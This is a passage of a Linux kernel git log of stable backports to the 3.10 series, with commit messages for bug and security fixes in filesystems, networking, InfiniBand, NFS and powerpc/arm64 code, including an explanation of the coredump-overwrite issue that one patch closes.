"tpgt" to UINT_MAX but the data type of "tpg->tport_tpgt" and that is a u16. I looked at the context and it turns out that in vhost_scsi_set_endpoint(), "tpg->tport_tpgt" is used as an offset into the vs_tpg[] array which has VHOST_SCSI_MAX_TARGET (256) elements so anything higher than 255 then it is invalid. I have made that the limit now. In vhost_scsi_send_evt() we mask away values higher than 255, but now that the limit has changed, we don't need the mask. Signed-off-by: Dan Carpenter Signed-off-by: Nicholas Bellinger [ The affected function was renamed to vhost_scsi_make_tpg before the vulnerability was announced, I ported it to 3.10 stable and changed the code in function tcm_vhost_make_tpg] Signed-off-by: Wang Long Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbc0b109eb4d7bb0e93756cfba87d43f3f73d73d Author: Marcelo Ricardo Leitner Date: Fri Jun 12 10:16:41 2015 -0300 sctp: fix ASCONF list handling commit 2d45a02d0166caf2627fe91897c6ffc3b19514c4 upstream. ->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets. This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant(). Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally. Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") Reported-by: Ji Jianwen Suggested-by: Neil Horman Suggested-by: Hannes Frederic Sowa Acked-by: Hannes Frederic Sowa Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller [wangkai: backport to 3.10: adjust context] Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21ade966168e10d51068d11e429db5e158bdc148 Author: Hin-Tak Leung Date: Wed Sep 9 15:38:04 2015 -0700 hfs,hfsplus: cache pages correctly between bnode_create and bnode_free commit 7cb74be6fd827e314f81df3c5889b87e4c87c569 upstream. Pages looked up by __hfs_bnode_create() (called by hfs_bnode_create() and hfs_bnode_find() for finding or creating pages corresponding to an inode) are immediately kmap()'ed and used (both read and write) and kunmap()'ed, and should not be page_cache_release()'ed until hfs_bnode_free(). This patch fixes a problem I first saw in July 2012: merely running "du" on a large hfsplus-mounted directory a few times on a reasonably loaded system would get the hfsplus driver all confused and complaining about B-tree inconsistencies, and generates a "BUG: Bad page state". Most recently, I can generate this problem on up-to-date Fedora 22 with shipped kernel 4.0.5, by running "du /" (="/" + "/home" + "/mnt" + other smaller mounts) and "du /mnt" simultaneously on two windows, where /mnt is a lightly-used QEMU VM image of the full Mac OS X 10.9: $ df -i / /home /mnt Filesystem Inodes IUsed IFree IUse% Mounted on /dev/mapper/fedora-root 3276800 551665 2725135 17% / /dev/mapper/fedora-home 52879360 716221 52163139 2% /home /dev/nbd0p2 4294967295 1387818 4293579477 1% /mnt After applying the patch, I was able to run "du /" (60+ times) and "du /mnt" (150+ times) continuously and simultaneously for 6+ hours. There are many reports of the hfsplus driver getting confused under load and generating "BUG: Bad page state" or other similar issues over the years. [1] The unpatched code [2] has always been wrong since it entered the kernel tree. The only reason why it gets away with it is that the kmap/memcpy/kunmap follow very quickly after the page_cache_release() so the kernel has not had a chance to reuse the memory for something else, most of the time. The current RW driver appears to have followed the design and development of the earlier read-only hfsplus driver [3], where-by version 0.1 (Dec 2001) had a B-tree node-centric approach to read_cache_page()/page_cache_release() per bnode_get()/bnode_put(), migrating towards version 0.2 (June 2002) of caching and releasing pages per inode extents. When the current RW code first entered the kernel [2] in 2005, there was an REF_PAGES conditional (and "//" commented out code) to switch between B-node centric paging to inode-centric paging. There was a mistake with the direction of one of the REF_PAGES conditionals in __hfs_bnode_create(). In a subsequent "remove debug code" commit [4], the read_cache_page()/page_cache_release() per bnode_get()/bnode_put() were removed, but a page_cache_release() was mistakenly left in (propagating the "REF_PAGES <-> !REF_PAGE" mistake), and the commented-out page_cache_release() in bnode_release() (which should be spanned by !REF_PAGES) was never enabled. References: [1]: Michael Fox, Apr 2013 http://www.spinics.net/lists/linux-fsdevel/msg63807.html ("hfsplus volume suddenly inaccessable after 'hfs: recoff %d too large'") Sasha Levin, Feb 2015 http://lkml.org/lkml/2015/2/20/85 ("use after free") https://bugs.launchpad.net/ubuntu/+source/linux/+bug/740814 https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1027887 https://bugzilla.kernel.org/show_bug.cgi?id=42342 https://bugzilla.kernel.org/show_bug.cgi?id=63841 https://bugzilla.kernel.org/show_bug.cgi?id=78761 [2]: http://git.kernel.org/cgit/linux/kernel/git/tglx/history.git/commit/\ fs/hfs/bnode.c?id=d1081202f1d0ee35ab0beb490da4b65d4bc763db commit d1081202f1d0ee35ab0beb490da4b65d4bc763db Author: Andrew Morton Date: Wed Feb 25 16:17:36 2004 -0800 [PATCH] HFS rewrite http://git.kernel.org/cgit/linux/kernel/git/tglx/history.git/commit/\ fs/hfsplus/bnode.c?id=91556682e0bf004d98a529bf829d339abb98bbbd commit 91556682e0bf004d98a529bf829d339abb98bbbd Author: Andrew Morton Date: Wed Feb 25 16:17:48 2004 -0800 [PATCH] HFS+ support [3]: http://sourceforge.net/projects/linux-hfsplus/ http://sourceforge.net/projects/linux-hfsplus/files/Linux%202.4.x%20patch/hfsplus%200.1/ http://sourceforge.net/projects/linux-hfsplus/files/Linux%202.4.x%20patch/hfsplus%200.2/ http://linux-hfsplus.cvs.sourceforge.net/viewvc/linux-hfsplus/linux/\ fs/hfsplus/bnode.c?r1=1.4&r2=1.5 Date: Thu Jun 6 09:45:14 2002 +0000 Use buffer cache instead of page cache in bnode.c. Cache inode extents. [4]: http://git.kernel.org/cgit/linux/kernel/git/\ stable/linux-stable.git/commit/?id=a5e3985fa014029eb6795664c704953720cc7f7d commit a5e3985fa014029eb6795664c704953720cc7f7d Author: Roman Zippel Date: Tue Sep 6 15:18:47 2005 -0700 [PATCH] hfs: remove debug code Signed-off-by: Hin-Tak Leung Signed-off-by: Sergei Antonov Reviewed-by: Anton Altaparmakov Reported-by: Sasha Levin Cc: Al Viro Cc: Christoph Hellwig Cc: Vyacheslav Dubeyko Cc: Sougata Santra Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df4458dde36c0b4df99d6eba8d7a4093497102ad Author: Noa Osherovich Date: Thu Jul 30 17:34:24 2015 +0300 IB/mlx4: Use correct SL on AH query under RoCE commit 5e99b139f1b68acd65e36515ca347b03856dfb5a upstream. The mlx4 IB driver implementation for ib_query_ah used a wrong offset (28 instead of 29) when link type is Ethernet. Fixed to use the correct one. Fixes: fa417f7b520e ('IB/mlx4: Add support for IBoE') Signed-off-by: Shani Michaeli Signed-off-by: Noa Osherovich Signed-off-by: Or Gerlitz Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8796a89f50428c9ed07a3d94bd9a1ef35238f0bd Author: Jack Morgenstein Date: Thu Jul 30 17:34:23 2015 +0300 IB/mlx4: Forbid using sysfs to change RoCE pkeys commit 2b135db3e81301d0452e6aa107349abe67b097d6 upstream. The pkey mapping for RoCE must remain the default mapping: VFs: virtual index 0 = mapped to real index 0 (0xFFFF) All others indices: mapped to a real pkey index containing an invalid pkey. PF: virtual index i = real index i. Don't allow users to change these mappings using files found in sysfs. Fixes: c1e7e466120b ('IB/mlx4: Add iov directory in sysfs under the ib device') Signed-off-by: Jack Morgenstein Signed-off-by: Or Gerlitz Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 44e6b40365a5552263ca11bbe4a93c13e8c660de Author: Yishai Hadas Date: Thu Aug 13 18:32:03 2015 +0300 IB/uverbs: Fix race between ib_uverbs_open and remove_one commit 35d4a0b63dc0c6d1177d4f532a9deae958f0662c upstream. Fixes: 2a72f212263701b927559f6850446421d5906c41 ("IB/uverbs: Remove dev_table") Before this commit there was a device look-up table that was protected by a spin_lock used by ib_uverbs_open and by ib_uverbs_remove_one. When it was dropped and container_of was used instead, it enabled the race with remove_one as dev might be freed just after: dev = container_of(inode->i_cdev, struct ib_uverbs_device, cdev) but before the kref_get. In addition, this buggy patch added some dead code as container_of(x,y,z) can never be NULL and so dev can never be NULL. As a result the comment above ib_uverbs_open saying "the open method will either immediately run -ENXIO" is wrong as it can never happen. The solution follows Jason Gunthorpe suggestion from below URL: https://www.mail-archive.com/linux-rdma@vger.kernel.org/msg25692.html cdev will hold a kref on the parent (the containing structure, ib_uverbs_device) and only when that kref is released it is guaranteed that open will never be called again. In addition, fixes the active count scheme to use an atomic not a kref to prevent WARN_ON as pointed by above comment from Jason. Signed-off-by: Yishai Hadas Signed-off-by: Shachar Raindel Reviewed-by: Jason Gunthorpe Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 09c588d14f0bf9b9d1dbfacbfc763cb938f73e4a Author: Christoph Hellwig Date: Wed Aug 26 11:00:37 2015 +0200 IB/uverbs: reject invalid or unknown opcodes commit b632ffa7cee439ba5dce3b3bc4a5cbe2b3e20133 upstream. We have many WR opcodes that are only supported in kernel space and/or require optional information to be copied into the WR structure. Reject all those not explicitly handled so that we can't pass invalid information to drivers. Signed-off-by: Christoph Hellwig Reviewed-by: Jason Gunthorpe Reviewed-by: Sagi Grimberg Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e81f5a65583793498becd9b6b02d5cc00be86c5a Author: Hin-Tak Leung Date: Wed Sep 9 15:38:07 2015 -0700 hfs: fix B-tree corruption after insertion at position 0 commit b4cc0efea4f0bfa2477c56af406cfcf3d3e58680 upstream. Fix B-tree corruption when a new record is inserted at position 0 in the node in hfs_brec_insert(). This is an identical change to the corresponding hfs b-tree code to Sergei Antonov's "hfsplus: fix B-tree corruption after insertion at position 0", to keep similar code paths in the hfs and hfsplus drivers in sync, where appropriate. Signed-off-by: Hin-Tak Leung Cc: Sergei Antonov Cc: Joe Perches Reviewed-by: Vyacheslav Dubeyko Cc: Anton Altaparmakov Cc: Al Viro Cc: Christoph Hellwig Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c0eb842c45bf67723fe45176993c8fa2a6f178a Author: David Vrabel Date: Fri Jan 9 18:06:12 2015 +0000 xen/gntdev: convert priv->lock to a mutex commit 1401c00e59ea021c575f74612fe2dbba36d6a4ee upstream. Unmapping may require sleeping and we unmap while holding priv->lock, so convert it to a mutex. Signed-off-by: David Vrabel Reviewed-by: Stefano Stabellini Cc: Ian Campbell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit edf679fd9804fdf63b1e56a605628da6366fa0d4 Author: NeilBrown Date: Mon Jul 6 17:37:49 2015 +1000 md/raid10: always set reshape_safe when initializing reshape_position. commit 299b0685e31c9f3dcc2d58ee3beca761a40b44b3 upstream. 'reshape_position' tracks where in the reshape we have reached. 'reshape_safe' tracks where in the reshape we have safely recorded in the metadata. These are compared to determine when to update the metadata. So it is important that reshape_safe is initialised properly. Currently it isn't. When starting a reshape from the beginning it usually has the correct value by luck. But when reducing the number of devices in a RAID10, it has the wrong value and this leads to the metadata not being updated correctly. This can lead to corruption if the reshape is not allowed to complete. This patch is suitable for any -stable kernel which supports RAID10 reshape, which is 3.5 and later. Fixes: 3ea7daa5d7fd ("md/raid10: add reshape support") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 457c2de1aba5b6cd55f66a24338fccfb540fc079 Author: Jann Horn Date: Wed Sep 9 15:38:28 2015 -0700 fs: if a coredump already exists, unlink and recreate with O_EXCL commit fbb1816942c04429e85dbf4c1a080accc534299e upstream. It was possible for an attacking user to trick root (or another user) into writing his coredumps into an attacker-readable, pre-existing file using rename() or link(), causing the disclosure of secret data from the victim process' virtual memory. Depending on the configuration, it was also possible to trick root into overwriting system files with coredumps. Fix that issue by never writing coredumps into existing files. Requirements for the attack: - The attack only applies if the victim's process has a nonzero RLIMIT_CORE and is dumpable. - The attacker can trick the victim into coredumping into an attacker-writable directory D, either because the core_pattern is relative and the victim's cwd is attacker-writable or because an absolute core_pattern pointing to a world-writable directory is used. - The attacker has one of these: A: on a system with protected_hardlinks=0: execute access to a folder containing a victim-owned, attacker-readable file on the same partition as D, and the victim-owned file will be deleted before the main part of the attack takes place. (In practice, there are lots of files that fulfill this condition, e.g. entries in Debian's /var/lib/dpkg/info/.) This does not apply to most Linux systems because most distros set protected_hardlinks=1. B: on a system with protected_hardlinks=1: execute access to a folder containing a victim-owned, attacker-readable and attacker-writable file on the same partition as D, and the victim-owned file will be deleted before the main part of the attack takes place. (This seems to be uncommon.) C: on any system, independent of protected_hardlinks: write access to a non-sticky folder containing a victim-owned, attacker-readable file on the same partition as D (This seems to be uncommon.) The basic idea is that the attacker moves the victim-owned file to where he expects the victim process to dump its core. The victim process dumps its core into the existing file, and the attacker reads the coredump from it. If the attacker can't move the file because he does not have write access to the containing directory, he can instead link the file to a directory he controls, then wait for the original link to the file to be deleted (because the kernel checks that the link count of the corefile is 1). A less reliable variant that requires D to be non-sticky works with link() and does not require deletion of the original link: link() the file into D, but then unlink() it directly before the kernel performs the link count check. On systems with protected_hardlinks=0, this variant allows an attacker to not only gain information from coredumps, but also clobber existing, victim-writable files with coredumps. (This could theoretically lead to a privilege escalation.) Signed-off-by: Jann Horn Cc: Kees Cook Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7ad86398be2a1003132693123bb5a2cced8a449 Author: Helge Deller Date: Thu Sep 3 22:45:21 2015 +0200 parisc: Filter out spurious interrupts in PA-RISC irq handler commit b1b4e435e4ef7de77f07bf2a42c8380b960c2d44 upstream. When detecting a serial port on newer PA-RISC machines (with iosapic) we have a long way to go to find the right IRQ line, registering it, then registering the serial port and the irq handler for the serial port. During this phase spurious interrupts for the serial port may happen which then crashes the kernel because the action handler might not have been set up yet. So, basically it's a race condition between the serial port hardware and the CPU which sets up the necessary fields in the irq sructs. The main reason for this race is, that we unmask the serial port irqs too early without having set up everything properly before (which isn't easily possible because we need the IRQ number to register the serial ports). This patch is a work-around for this problem. It adds checks to the CPU irq handler to verify if the IRQ action field has been initialized already. If not, we just skip this interrupt (which isn't critical for a serial port at bootup). The real fix would probably involve rewriting all PA-RISC specific IRQ code (for CPU, IOSAPIC, GSC and EISA) to use IRQ domains with proper parenting of the irq chips and proper irq enabling along this line. This bug has been in the PA-RISC port since the beginning, but the crashes happened very rarely with currently used hardware. But on the latest machine which I bought (a C8000 workstation), which uses the fastest CPUs (4 x PA8900, 1GHz) and which has the largest possible L1 cache size (64MB each), the kernel crashed at every boot because of this race. So, without this patch the machine would currently be unuseable. For the record, here is the flow logic: 1. serial_init_chip() in 8250_gsc.c calls iosapic_serial_irq(). 2. iosapic_serial_irq() calls txn_alloc_irq() to find the irq. 3. iosapic_serial_irq() calls cpu_claim_irq() to register the CPU irq 4. cpu_claim_irq() unmasks the CPU irq (which it shouldn't!) 5. serial_init_chip() then registers the 8250 port. Problems: - In step 4 the CPU irq shouldn't have been registered yet, but after step 5 - If serial irq happens between 4 and 5 have finished, the kernel will crash Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2f73b0801f42a8706adcaea5c5be454eff1b9a5c Author: Trond Myklebust Date: Mon Aug 17 12:57:07 2015 -0500 NFS: nfs_set_pgio_error sometimes misses errors commit e9ae58aeee8842a50f7e199d602a5ccb2e41a95f upstream. We should ensure that we always set the pgio_header's error field if a READ or WRITE RPC call returns an error. The current code depends on 'hdr->good_bytes' always being initialised to a large value, which is not always done correctly by callers. When this happens, applications may end up missing important errors. Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 427e82f5a41df8f1f264a85295d8ae6069df3df0 Author: NeilBrown Date: Thu Jul 30 13:00:56 2015 +1000 NFSv4: don't set SETATTR for O_RDONLY|O_EXCL commit efcbc04e16dfa95fef76309f89710dd1d99a5453 upstream. It is unusual to combine the open flags O_RDONLY and O_EXCL, but it appears that libre-office does just that. [pid 3250] stat("/home/USER/.config", {st_mode=S_IFDIR|0700, st_size=8192, ...}) = 0 [pid 3250] open("/home/USER/.config/libreoffice/4-suse/user/extensions/buildid", O_RDONLY|O_EXCL NFSv4 takes O_EXCL as a sign that a setattr command should be sent, probably to reset the timestamps. When it was an O_RDONLY open, the SETATTR command does not identify any actual attributes to change. If no delegation was provided to the open, the SETATTR uses the all-zeros stateid and the request is accepted (at least by the Linux NFS server - no harm, no foul). If a read-delegation was provided, this is used in the SETATTR request, and a Netapp filer will justifiably claim NFS4ERR_BAD_STATEID, which the Linux client takes as a sign to retry - indefinitely. So only treat O_EXCL specially if O_CREAT was also given. Signed-off-by: NeilBrown Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ce5e532eb234759ee9aef741b417eddebe7bcb4 Author: David Härdeman Date: Tue May 19 19:03:12 2015 -0300 rc-core: fix remove uevent generation commit a66b0c41ad277ae62a3ae6ac430a71882f899557 upstream. The input_dev is already gone when the rc device is being unregistered so checking for its presence only means that no remove uevent will be generated. Signed-off-by: David Härdeman Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea27617ee8f8257a74558f78aee800b75fb7797c Author: Minfei Huang Date: Sun Jul 12 20:18:42 2015 +0800 x86/mm: Initialize pmd_idx in page_table_range_init_count() commit 9962eea9e55f797f05f20ba6448929cab2a9f018 upstream. The variable pmd_idx is not initialized for the first iteration of the for loop. Assign the proper value which indexes the start address. Fixes: 719272c45b82 'x86, mm: only call early_ioremap_page_table_range_init() once' Signed-off-by: Minfei Huang Cc: tony.luck@intel.com Cc: wangnan0@huawei.com Cc: david.vrabel@citrix.com Reviewed-by: yinghai@kernel.org Link: http://lkml.kernel.org/r/1436703522-29552-1-git-send-email-mhuang@redhat.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 93edf93b8c1a5be2cb65f6bd4c13c373236b876b Author: Jeffery Miller Date: Tue Sep 1 11:23:02 2015 -0400 Add radeon suspend/resume quirk for HP Compaq dc5750. commit 09bfda10e6efd7b65bcc29237bee1765ed779657 upstream. With the radeon driver loaded the HP Compaq dc5750 Small Form Factor machine fails to resume from suspend. Adding a quirk similar to other devices avoids the problem and the system resumes properly. Signed-off-by: Jeffery Miller Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b868a058a678434150176a20fc3038eedfe4f82b Author: Thomas Huth Date: Fri Jul 17 12:46:58 2015 +0200 powerpc/rtas: Introduce rtas_get_sensor_fast() for IRQ handlers commit 1c2cb594441d02815d304cccec9742ff5c707495 upstream. The EPOW interrupt handler uses rtas_get_sensor(), which in turn uses rtas_busy_delay() to wait for RTAS becoming ready in case it is necessary. But rtas_busy_delay() is annotated with might_sleep() and thus may not be used by interrupts handlers like the EPOW handler! This leads to the following BUG when CONFIG_DEBUG_ATOMIC_SLEEP is enabled: BUG: sleeping function called from invalid context at arch/powerpc/kernel/rtas.c:496 in_atomic(): 1, irqs_disabled(): 1, pid: 0, name: swapper/1 CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.2.0-rc2-thuth #6 Call Trace: [c00000007ffe7b90] [c000000000807670] dump_stack+0xa0/0xdc (unreliable) [c00000007ffe7bc0] [c0000000000e1f14] ___might_sleep+0x134/0x180 [c00000007ffe7c20] [c00000000002aec0] rtas_busy_delay+0x30/0xd0 [c00000007ffe7c50] [c00000000002bde4] rtas_get_sensor+0x74/0xe0 [c00000007ffe7ce0] [c000000000083264] ras_epow_interrupt+0x44/0x450 [c00000007ffe7d90] [c000000000120260] handle_irq_event_percpu+0xa0/0x300 [c00000007ffe7e70] [c000000000120524] handle_irq_event+0x64/0xc0 [c00000007ffe7eb0] [c000000000124dbc] handle_fasteoi_irq+0xec/0x260 [c00000007ffe7ef0] [c00000000011f4f0] generic_handle_irq+0x50/0x80 [c00000007ffe7f20] [c000000000010f3c] __do_irq+0x8c/0x200 [c00000007ffe7f90] [c0000000000236cc] call_do_irq+0x14/0x24 [c00000007e6f39e0] [c000000000011144] do_IRQ+0x94/0x110 [c00000007e6f3a30] [c000000000002594] hardware_interrupt_common+0x114/0x180 Fix this issue by introducing a new rtas_get_sensor_fast() function that does not use rtas_busy_delay() - and thus can only be used for sensors that do not cause a BUSY condition - known as "fast" sensors. The EPOW sensor is defined to be "fast" in sPAPR - mpe. Fixes: 587f83e8dd50 ("powerpc/pseries: Use rtas_get_sensor in RAS code") Signed-off-by: Thomas Huth Reviewed-by: Nathan Fontenot Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bec6cc8575aebd5ce5190c10823487c2fec726d8 Author: Michael Ellerman Date: Fri Aug 7 16:19:43 2015 +1000 powerpc/mm: Fix pte_pagesize_index() crash on 4K w/64K hash commit 74b5037baa2011a2799e2c43adde7d171b072f9e upstream. The powerpc kernel can be built to have either a 4K PAGE_SIZE or a 64K PAGE_SIZE. However when built with a 4K PAGE_SIZE there is an additional config option which can be enabled, PPC_HAS_HASH_64K, which means the kernel also knows how to hash a 64K page even though the base PAGE_SIZE is 4K. This is used in one obscure configuration, to support 64K pages for SPU local store on the Cell processor when the rest of the kernel is using 4K pages. In this configuration, pte_pagesize_index() is defined to just pass through its arguments to get_slice_psize(). However pte_pagesize_index() is called for both user and kernel addresses, whereas get_slice_psize() only knows how to handle user addresses. This has been broken forever, however until recently it happened to work. That was because in get_slice_psize() the large kernel address would cause the right shift of the slice mask to return zero. However in commit 7aa0727f3302 ("powerpc/mm: Increase the slice range to 64TB"), the get_slice_psize() code was changed so that instead of a right shift we do an array lookup based on the address. When passed a kernel address this means we index way off the end of the slice array and return random junk. That is only fatal if we happen to hit something non-zero, but when we do return a non-zero value we confuse the MMU code and eventually cause a check stop. This fix is ugly, but simple. When we're called for a kernel address we return 4K, which is always correct in this configuration, otherwise we use the slice mask. Fixes: 7aa0727f3302 ("powerpc/mm: Increase the slice range to 64TB") Reported-by: Cyril Bur Signed-off-by: Michael Ellerman Reviewed-by: Aneesh Kumar K.V Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc5c3ac35a25686fbe505cf39a10c9e86c9b8c26 Author: Takashi Iwai Date: Thu Aug 13 18:05:06 2015 +0200 ALSA: hda - Use ALC880_FIXUP_FUJITSU for FSC Amilo M1437 commit a161574e200ae63a5042120e0d8c36830e81bde3 upstream. It turned out that the machine has a bass speaker, so take a correct fixup entry. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=102501 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1dd4423ad58db001a77b2ef1f307b863ddc6b51 Author: Takashi Iwai Date: Thu Aug 13 18:02:39 2015 +0200 ALSA: hda - Enable headphone jack detect on old Fujitsu laptops commit bb148bdeb0ab16fc0ae8009799471e4d7180073b upstream. According to the bug report, FSC Amilo laptops with ALC880 can detect the headphone jack but currently the driver disables it. It's partly intentionally, as non-working jack detect was reported in the past. Let's enable now. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=102501 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6a2582864fe4035793c0c0e73471701109f222e Author: Will Deacon Date: Wed Sep 2 18:49:28 2015 +0100 arm64: head.S: initialise mdcr_el2 in el2_setup commit d10bcd473301888f957ec4b6b12aa3621be78d59 upstream. When entering the kernel at EL2, we fail to initialise the MDCR_EL2 register which controls debug access and PMU capabilities at EL1. This patch ensures that the register is initialised so that all traps are disabled and all the PMU counters are available to the host. When a guest is scheduled, KVM takes care to configure trapping appropriately. Acked-by: Marc Zyngier Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 326d8a654fe6aed3948571ccd29f2d3d99aa2c03 Author: Will Deacon Date: Tue Sep 15 12:07:06 2015 +0100 arm64: compat: fix vfp save/restore across signal handlers in big-endian commit bdec97a855ef1e239f130f7a11584721c9a1bf04 upstream. When saving/restoring the VFP registers from a compat (AArch32) signal frame, we rely on the compat registers forming a prefix of the native register file and therefore make use of copy_{to,from}_user to transfer between the native fpsimd_state and the compat_vfp_sigframe. Unfortunately, this doesn't work so well in a big-endian environment. Our fpsimd save/restore code operates directly on 128-bit quantities (Q registers) whereas the compat_vfp_sigframe represents the registers as an array of 64-bit (D) registers. The architecture packs the compat D registers into the Q registers, with the least significant bytes holding the lower register. Consequently, we need to swap the 64-bit halves when converting between these two representations on a big-endian machine. This patch replaces the __copy_{to,from}_user invocations in our compat VFP signal handling code with explicit __put_user loops that operate on 64-bit values and swap them accordingly. Reviewed-by: Catalin Marinas Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d4166a752e72da419525dfd614181869dcd59fb2 Author: Jeff Vander Stoep Date: Tue Aug 18 20:50:10 2015 +0100 arm64: kconfig: Move LIST_POISON to a safe value commit bf0c4e04732479f650ff59d1ee82de761c0071f0 upstream. Move the poison pointer offset to 0xdead000000000000, a recognized value that is not mappable by user-space exploits. Acked-by: Catalin Marinas Signed-off-by: Thierry Strudel Signed-off-by: Jeff Vander Stoep Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 63aa74e63b83e1da950f61f04a038a58a06c7213 Author: Bob Copeland Date: Sat Jun 13 10:16:31 2015 -0400 mac80211: enable assoc check for mesh interfaces commit 3633ebebab2bbe88124388b7620442315c968e8f upstream. We already set a station to be associated when peering completes, both in user space and in the kernel. Thus we should always have an associated sta before sending data frames to that station. Failure to check assoc state can cause crashes in the lower-level driver due to transmitting unicast data frames before driver sta structures (e.g. ampdu state in ath9k) are initialized. This occurred when forwarding in the presence of fixed mesh paths: frames were transmitted to stations with whom we hadn't yet completed peering. Reported-by: Alexis Green Tested-by: Jesse Jones Signed-off-by: Bob Copeland Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 058100031aaf1dd1296e064daa4544c9fb3d3b91 Author: Jean Delvare Date: Tue Sep 1 18:07:41 2015 +0200 tg3: Fix temperature reporting commit d3d11fe08ccc9bff174fc958722b5661f0932486 upstream. The temperature registers appear to report values in degrees Celsius while the hwmon API mandates values to be exposed in millidegrees Celsius. Do the conversion so that the values reported by "sensors" are correct. Fixes: aed93e0bf493 ("tg3: Add hwmon support for temperature") Signed-off-by: Jean Delvare Cc: Prashant Sreedharan Cc: Michael Chan Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c27791056b60a189b071f8c992696025d982e2c Author: Adrien Schildknecht Date: Wed Aug 19 17:33:12 2015 +0200 rtlwifi: rtl8192cu: Add new device ID commit 1642d09fb9b128e8e538b2a4179962a34f38dff9 upstream. The v2 of NetGear WNA1000M uses a different idProduct: USB ID 0846:9043 Signed-off-by: Adrien Schildknecht Acked-by: Larry Finger Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 518657fa4d7449df441ac4d0cc135b4d5e5fd3fc Author: Eric W. Biederman Date: Mon Aug 10 17:35:07 2015 -0500 unshare: Unsharing a thread does not require unsharing a vm commit 12c641ab8270f787dfcce08b5f20ce8b65008096 upstream. In the logic in the initial commit of unshare made creating a new thread group for a process, contingent upon creating a new memory address space for that process. That is wrong. Two separate processes in different thread groups can share a memory address space and clone allows creation of such proceses. This is significant because it was observed that mm_users > 1 does not mean that a process is multi-threaded, as reading /proc/PID/maps temporarily increments mm_users, which allows other processes to (accidentally) interfere with unshare() calls. Correct the check in check_unshare_flags() to test for !thread_group_empty() for CLONE_THREAD, CLONE_SIGHAND, and CLONE_VM. For sighand->count > 1 for CLONE_SIGHAND and CLONE_VM. For !current_is_single_threaded instead of mm_users > 1 for CLONE_VM. By using the correct checks in unshare this removes the possibility of an accidental denial of service attack. Additionally using the correct checks in unshare ensures that only an explicit unshare(CLONE_VM) can possibly trigger the slow path of current_is_single_threaded(). As an explict unshare(CLONE_VM) is pointless it is not expected there are many applications that make that call. Fixes: b2e0d98705e60e45bbb3c0032c48824ad7ae0704 userns: Implement unshare of the user namespace Reported-by: Ricky Zhou Reported-by: Kees Cook Reviewed-by: Kees Cook Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1e67b0f6d8c1619bb6dd59cec4c2354d2e7dbe8 Author: Greg Kroah-Hartman Date: Mon Sep 21 10:00:25 2015 -0700 Linux 3.10.89 Signed-off-by: Pranav Vashi commit 38160e9c8855bf63ff0ade9e002b7fdf2117fa28 Author: Max Filippov Date: Thu Aug 22 18:09:47 2013 +0400 